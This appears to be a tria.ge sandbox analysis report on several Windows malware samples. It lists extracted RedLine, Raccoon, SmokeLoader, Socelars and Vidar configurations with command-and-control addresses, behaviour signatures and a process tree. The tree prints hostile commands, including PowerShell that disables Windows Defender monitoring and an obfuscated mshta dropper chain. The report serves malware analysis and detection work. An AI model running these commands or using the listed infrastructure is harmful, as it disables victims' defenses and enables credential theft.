Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
022e3c30a1...66.exe
windows11_x64
10022e3c30a1...66.exe
windows10_x64
1022e3c30a1...66.exe
windows10_x64
104d27dca0a1...ef.exe
windows11_x64
104d27dca0a1...ef.exe
windows10_x64
104d27dca0a1...ef.exe
windows10_x64
10578a3a7a2b...b3.exe
windows11_x64
10578a3a7a2b...b3.exe
windows10_x64
10578a3a7a2b...b3.exe
windows10_x64
109c4880a98c...82.exe
windows11_x64
109c4880a98c...82.exe
windows10_x64
109c4880a98c...82.exe
windows10_x64
10a1dad4a83d...c4.exe
windows11_x64
10a1dad4a83d...c4.exe
windows10_x64
10a1dad4a83d...c4.exe
windows10_x64
10acf1b7d80f...e0.exe
windows11_x64
10acf1b7d80f...e0.exe
windows10_x64
10acf1b7d80f...e0.exe
windows10_x64
10cbf31d825a...d2.exe
windows11_x64
10cbf31d825a...d2.exe
windows10_x64
10cbf31d825a...d2.exe
windows10_x64
10db76a117db...12.exe
windows11_x64
10db76a117db...12.exe
windows10_x64
10db76a117db...12.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows11_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10f2196668f4...cb.exe
windows11_x64
10f2196668f4...cb.exe
windows10_x64
10f2196668f4...cb.exe
windows10_x64
10Resubmissions
10/11/2021, 14:50
211110-r7nbvaeddr 1008/11/2021, 16:12
211108-tnmmbahgaj 1008/11/2021, 15:26
211108-svdsbaccf6 1008/11/2021, 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
45s -
max time network
748s -
platform
windows10_x64 -
resource
win10-de-20211014 -
submitted
08/11/2021, 16:12
Static task
static1
Behavioral task
behavioral1
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win11
Behavioral task
behavioral2
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-en-20211014
Behavioral task
behavioral3
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-de-20211014
Behavioral task
behavioral4
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win11
Behavioral task
behavioral5
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-en-20211014
Behavioral task
behavioral6
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-de-20211014
Behavioral task
behavioral7
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win11
Behavioral task
behavioral8
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-en-20211014
Behavioral task
behavioral9
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-de-20211014
Behavioral task
behavioral10
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win11
Behavioral task
behavioral11
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-en-20211104
Behavioral task
behavioral12
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-de-20211014
Behavioral task
behavioral13
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win11
Behavioral task
behavioral14
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-en-20211014
Behavioral task
behavioral15
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-de-20211104
Behavioral task
behavioral16
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win11
Behavioral task
behavioral17
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-en-20211014
Behavioral task
behavioral18
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-de-20211104
Behavioral task
behavioral19
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win11
Behavioral task
behavioral20
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-en-20211104
Behavioral task
behavioral21
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-de-20211104
Behavioral task
behavioral22
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win11
Behavioral task
behavioral23
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-en-20211104
Behavioral task
behavioral24
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-de-20211104
Behavioral task
behavioral25
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win11
Behavioral task
behavioral26
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-en-20211104
Behavioral task
behavioral27
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-de-20211104
Behavioral task
behavioral28
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win11
Behavioral task
behavioral29
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-en-20211104
Behavioral task
behavioral30
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-de-20211104
General
Malware Config
Extracted
socelars
http://www.iyiqian.com/
http://www.hbgents.top/
http://www.rsnzhy.com/
http://www.efxety.top/
Extracted
redline
Chris
194.104.136.5:46013
Extracted
redline
fucker2
135.181.129.119:4805
Extracted
redline
media18
91.121.67.60:2151
Extracted
raccoon
2f2ad1a1aa093c5a9d17040c8efd5650a99640b5
-
url4cnc
http://telegatt.top/oh12manymarty
http://telegka.top/oh12manymarty
http://telegin.top/oh12manymarty
https://t.me/oh12manymarty
Extracted
smokeloader
2020
http://directorycart.com/upload/
http://tierzahnarzt.at/upload/
http://streetofcards.com/upload/
http://ycdfzd.com/upload/
http://successcoachceo.com/upload/
http://uhvu.cn/upload/
http://japanarticle.com/upload/
Extracted
vidar
48.1
937
https://koyu.space/@rspich
-
profile_id
937
Signatures
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1448 4968 rundll32.exe 131 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5152 4968 rundll32.exe 131 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8596 4968 rundll32.exe 131 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 6 IoCs
resource yara_rule behavioral6/memory/3756-287-0x000000000041B23E-mapping.dmp family_redline behavioral6/memory/3064-289-0x000000000041B242-mapping.dmp family_redline behavioral6/memory/2136-288-0x000000000041B23E-mapping.dmp family_redline behavioral6/memory/3064-286-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral6/memory/2136-284-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral6/memory/3756-283-0x0000000000400000-0x0000000000422000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
resource yara_rule behavioral6/files/0x000600000001abdd-207.dat family_socelars behavioral6/files/0x000600000001abdd-232.dat family_socelars -
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
-
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
Vidar Stealer 1 IoCs
resource yara_rule behavioral6/memory/5500-629-0x0000000000400000-0x00000000004D8000-memory.dmp family_vidar -
resource yara_rule behavioral6/files/0x000400000001abbe-125.dat aspack_v212_v242 behavioral6/files/0x000400000001abc0-131.dat aspack_v212_v242 behavioral6/files/0x000400000001abc0-130.dat aspack_v212_v242 behavioral6/files/0x000400000001abbe-126.dat aspack_v212_v242 behavioral6/files/0x000600000001abaa-127.dat aspack_v212_v242 behavioral6/files/0x000600000001abaa-133.dat aspack_v212_v242 behavioral6/files/0x000600000001abaa-132.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 27 IoCs
pid Process 864 setup_installer.exe 1100 setup_install.exe 4304 Tue19325eb008c0b950.exe 5024 Tue19879c4c0e.exe 4124 Tue195c40958f528163.exe 1884 Tue19c06f159e0ec.exe 5068 Tue19f51bcd77a.exe 2748 Tue1993b3f72c.exe 5100 Tue19c78ded4d176ac.exe 1588 Tue19c1338f41ab.exe 4788 Tue19150ee2be694c8a4.exe 4808 Tue19879c4c0e.tmp 1644 Tue193858933525b62.exe 392 Tue19761b3b8d9d.exe 4052 Tue19b4ef3b53293fe.exe 1332 Tue19411ac950924ec3f.exe 1464 Tue192762f1cd058ddf8.exe 3376 Tue1969586bcbf58493.exe 3112 Tue19879c4c0e.exe 1364 Tue19879c4c0e.tmp 3756 Tue195c40958f528163.exe 2136 Tue19f51bcd77a.exe 3064 Tue19761b3b8d9d.exe 1748 ~Xy1GPomKV09sC.Exe 3092 2474397.exe 4112 3856993.exe 2736 2670515.exe -
Modifies Windows Firewall 1 TTPs
-
Loads dropped DLL 10 IoCs
pid Process 1100 setup_install.exe 1100 setup_install.exe 1100 setup_install.exe 1100 setup_install.exe 1100 setup_install.exe 1100 setup_install.exe 1100 setup_install.exe 1100 setup_install.exe 4808 Tue19879c4c0e.tmp 1364 Tue19879c4c0e.tmp -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral6/files/0x000400000001ac08-357.dat themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 3856993.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 19 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 367 api.db-ip.com 949 ipinfo.io 363 ipinfo.io 638 ipinfo.io 947 ipinfo.io 52 ipinfo.io 57 api.db-ip.com 58 api.db-ip.com 246 api.db-ip.com 639 ipinfo.io 662 ipinfo.io 665 api.db-ip.com 66 api.db-ip.com 176 ip-api.com 238 ipinfo.io 652 api.db-ip.com 53 ipinfo.io 63 ipinfo.io 361 ipinfo.io -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 4112 3856993.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 4124 set thread context of 3756 4124 Tue195c40958f528163.exe 103 PID 5068 set thread context of 2136 5068 Tue19f51bcd77a.exe 101 PID 392 set thread context of 3064 392 Tue19761b3b8d9d.exe 102 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 9 IoCs
pid pid_target Process procid_target 2208 1100 WerFault.exe 76 5936 1464 WerFault.exe 93 5756 5212 WerFault.exe 175 6360 3876 WerFault.exe 187 7424 4440 WerFault.exe 215 7836 4440 WerFault.exe 215 8100 4440 WerFault.exe 215 5132 4440 WerFault.exe 215 7052 5500 WerFault.exe 152 -
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5136 schtasks.exe 7412 schtasks.exe 6332 schtasks.exe 2892 schtasks.exe 8816 schtasks.exe -
Delays execution with timeout.exe 3 IoCs
pid Process 6596 timeout.exe 8208 timeout.exe 8188 timeout.exe -
Kills process with taskkill 12 IoCs
pid Process 9316 taskkill.exe 9600 taskkill.exe 6388 taskkill.exe 5340 taskkill.exe 2388 taskkill.exe 6440 taskkill.exe 3172 taskkill.exe 8168 taskkill.exe 5572 taskkill.exe 6480 taskkill.exe 4928 taskkill.exe 6976 taskkill.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 39 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2672 powershell.exe 2696 powershell.exe 2672 powershell.exe 2696 powershell.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2208 WerFault.exe 2696 powershell.exe 2672 powershell.exe 2696 powershell.exe 2672 powershell.exe 4112 3856993.exe 4112 3856993.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe 4304 Tue19325eb008c0b950.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 5100 Tue19c78ded4d176ac.exe Token: SeCreateTokenPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeAssignPrimaryTokenPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeLockMemoryPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeIncreaseQuotaPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeMachineAccountPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeTcbPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeSecurityPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeTakeOwnershipPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeLoadDriverPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeSystemProfilePrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeSystemtimePrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeProfSingleProcessPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeIncBasePriorityPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeCreatePagefilePrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeCreatePermanentPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeBackupPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeRestorePrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeShutdownPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeDebugPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeAuditPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeSystemEnvironmentPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeChangeNotifyPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeRemoteShutdownPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeUndockPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeSyncAgentPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeEnableDelegationPrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeManageVolumePrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeImpersonatePrivilege 4052 Tue19b4ef3b53293fe.exe Token: SeCreateGlobalPrivilege 4052 Tue19b4ef3b53293fe.exe Token: 31 4052 Tue19b4ef3b53293fe.exe Token: 32 4052 Tue19b4ef3b53293fe.exe Token: 33 4052 Tue19b4ef3b53293fe.exe Token: 34 4052 Tue19b4ef3b53293fe.exe Token: 35 4052 Tue19b4ef3b53293fe.exe Token: SeDebugPrivilege 2672 powershell.exe Token: SeDebugPrivilege 2696 powershell.exe Token: SeRestorePrivilege 2208 WerFault.exe Token: SeBackupPrivilege 2208 WerFault.exe Token: SeDebugPrivilege 1332 Tue19411ac950924ec3f.exe Token: SeDebugPrivilege 2208 WerFault.exe Token: SeDebugPrivilege 2388 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 436 wrote to memory of 864 436 4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe 75 PID 436 wrote to memory of 864 436 4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe 75 PID 436 wrote to memory of 864 436 4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe 75 PID 864 wrote to memory of 1100 864 setup_installer.exe 76 PID 864 wrote to memory of 1100 864 setup_installer.exe 76 PID 864 wrote to memory of 1100 864 setup_installer.exe 76 PID 1100 wrote to memory of 2588 1100 setup_install.exe 80 PID 1100 wrote to memory of 2588 1100 setup_install.exe 80 PID 1100 wrote to memory of 2588 1100 setup_install.exe 80 PID 1100 wrote to memory of 2620 1100 setup_install.exe 79 PID 1100 wrote to memory of 2620 1100 setup_install.exe 79 PID 1100 wrote to memory of 2620 1100 setup_install.exe 79 PID 2588 wrote to memory of 2696 2588 cmd.exe 87 PID 2588 wrote to memory of 2696 2588 cmd.exe 87 PID 2588 wrote to memory of 2696 2588 cmd.exe 87 PID 2620 wrote to memory of 2672 2620 cmd.exe 81 PID 2620 wrote to memory of 2672 2620 cmd.exe 81 PID 2620 wrote to memory of 2672 2620 cmd.exe 81 PID 1100 wrote to memory of 2880 1100 setup_install.exe 86 PID 1100 wrote to memory of 2880 1100 setup_install.exe 86 PID 1100 wrote to memory of 2880 1100 setup_install.exe 86 PID 1100 wrote to memory of 4068 1100 setup_install.exe 82 PID 1100 wrote to memory of 4068 1100 setup_install.exe 82 PID 1100 wrote to memory of 4068 1100 setup_install.exe 82 PID 1100 wrote to memory of 4340 1100 setup_install.exe 83 PID 1100 wrote to memory of 4340 1100 setup_install.exe 83 PID 1100 wrote to memory of 4340 1100 setup_install.exe 83 PID 1100 wrote to memory of 3816 1100 setup_install.exe 84 PID 1100 wrote to memory of 3816 1100 setup_install.exe 84 PID 1100 wrote to memory of 3816 1100 setup_install.exe 84 PID 1100 wrote to memory of 4292 1100 setup_install.exe 85 PID 1100 wrote to memory of 4292 1100 setup_install.exe 85 PID 1100 wrote to memory of 4292 1100 setup_install.exe 85 PID 4068 wrote to memory of 4304 4068 cmd.exe 88 PID 4068 wrote to memory of 4304 4068 cmd.exe 88 PID 4068 wrote to memory of 4304 4068 cmd.exe 88 PID 1100 wrote to memory of 4324 1100 setup_install.exe 89 PID 1100 wrote to memory of 4324 1100 setup_install.exe 89 PID 1100 wrote to memory of 4324 1100 setup_install.exe 89 PID 1100 wrote to memory of 3344 1100 setup_install.exe 120 PID 1100 wrote to memory of 3344 1100 setup_install.exe 120 PID 1100 wrote to memory of 3344 1100 setup_install.exe 120 PID 1100 wrote to memory of 4972 1100 setup_install.exe 119 PID 1100 wrote to memory of 4972 1100 setup_install.exe 119 PID 1100 wrote to memory of 4972 1100 setup_install.exe 119 PID 2880 wrote to memory of 5024 2880 cmd.exe 118 PID 2880 wrote to memory of 5024 2880 cmd.exe 118 PID 2880 wrote to memory of 5024 2880 cmd.exe 118 PID 1100 wrote to memory of 5032 1100 setup_install.exe 90 PID 1100 wrote to memory of 5032 1100 setup_install.exe 90 PID 1100 wrote to memory of 5032 1100 setup_install.exe 90 PID 1100 wrote to memory of 1112 1100 setup_install.exe 91 PID 1100 wrote to memory of 1112 1100 setup_install.exe 91 PID 1100 wrote to memory of 1112 1100 setup_install.exe 91 PID 4340 wrote to memory of 4124 4340 cmd.exe 117 PID 4340 wrote to memory of 4124 4340 cmd.exe 117 PID 4340 wrote to memory of 4124 4340 cmd.exe 117 PID 1100 wrote to memory of 4140 1100 setup_install.exe 116 PID 1100 wrote to memory of 4140 1100 setup_install.exe 116 PID 1100 wrote to memory of 4140 1100 setup_install.exe 116 PID 1100 wrote to memory of 4252 1100 setup_install.exe 115 PID 1100 wrote to memory of 4252 1100 setup_install.exe 115 PID 1100 wrote to memory of 4252 1100 setup_install.exe 115 PID 4292 wrote to memory of 1884 4292 cmd.exe 114
Processes
-
C:\Users\Admin\AppData\Local\Temp\4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe"C:\Users\Admin\AppData\Local\Temp\4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:436 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:864 -
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS06343B36\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1100 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:2620 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2672
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Suspicious use of WriteProcessMemory
PID:2588 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2696
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19325eb008c0b950.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19325eb008c0b950.exeTue19325eb008c0b950.exe5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4304 -
C:\Users\Admin\Pictures\Adobe Films\Q4nncA7He0moVk5IRremQaeb.exe"C:\Users\Admin\Pictures\Adobe Films\Q4nncA7He0moVk5IRremQaeb.exe"6⤵PID:1688
-
-
C:\Users\Admin\Pictures\Adobe Films\_vyxYeTxjqDj2xeVcW1cWaKc.exe"C:\Users\Admin\Pictures\Adobe Films\_vyxYeTxjqDj2xeVcW1cWaKc.exe"6⤵PID:5424
-
C:\Users\Admin\Documents\TKWgcPjozkXyy8AIQVnbpwtE.exe"C:\Users\Admin\Documents\TKWgcPjozkXyy8AIQVnbpwtE.exe"7⤵PID:5756
-
C:\Users\Admin\Pictures\Adobe Films\5e7fLndhgH4OlJicgdGz4m6e.exe"C:\Users\Admin\Pictures\Adobe Films\5e7fLndhgH4OlJicgdGz4m6e.exe"8⤵PID:9180
-
-
C:\Users\Admin\Pictures\Adobe Films\lNUJv_GWhlwG0xTBDa7nf0HS.exe"C:\Users\Admin\Pictures\Adobe Films\lNUJv_GWhlwG0xTBDa7nf0HS.exe"8⤵PID:912
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "lNUJv_GWhlwG0xTBDa7nf0HS.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\lNUJv_GWhlwG0xTBDa7nf0HS.exe" & exit9⤵PID:9604
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "lNUJv_GWhlwG0xTBDa7nf0HS.exe" /f10⤵
- Kills process with taskkill
PID:5340
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\XftRS1jTBFpvOnTXJWzIBepV.exe"C:\Users\Admin\Pictures\Adobe Films\XftRS1jTBFpvOnTXJWzIBepV.exe"8⤵PID:6944
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe9⤵PID:8552
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
PID:6388
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\XIwGSGh6laOBX4lINC9geM7X.exe"C:\Users\Admin\Pictures\Adobe Films\XIwGSGh6laOBX4lINC9geM7X.exe"8⤵PID:6628
-
-
C:\Users\Admin\Pictures\Adobe Films\4SVV46nEGMSYIkOkbmOUACAa.exe"C:\Users\Admin\Pictures\Adobe Films\4SVV46nEGMSYIkOkbmOUACAa.exe"8⤵PID:9636
-
-
C:\Users\Admin\Pictures\Adobe Films\vuHcu2iZsF0_zv1ifKPWBoFb.exe"C:\Users\Admin\Pictures\Adobe Films\vuHcu2iZsF0_zv1ifKPWBoFb.exe"8⤵PID:8760
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\vuHcu2iZsF0_zv1ifKPWBoFb.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\vuHcu2iZsF0_zv1ifKPWBoFb.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )9⤵PID:9396
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\vuHcu2iZsF0_zv1ifKPWBoFb.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\vuHcu2iZsF0_zv1ifKPWBoFb.exe" ) do taskkill -f -iM "%~NxM"10⤵PID:1912
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi11⤵PID:9188
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )12⤵PID:5580
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"13⤵PID:5920
-
-
-
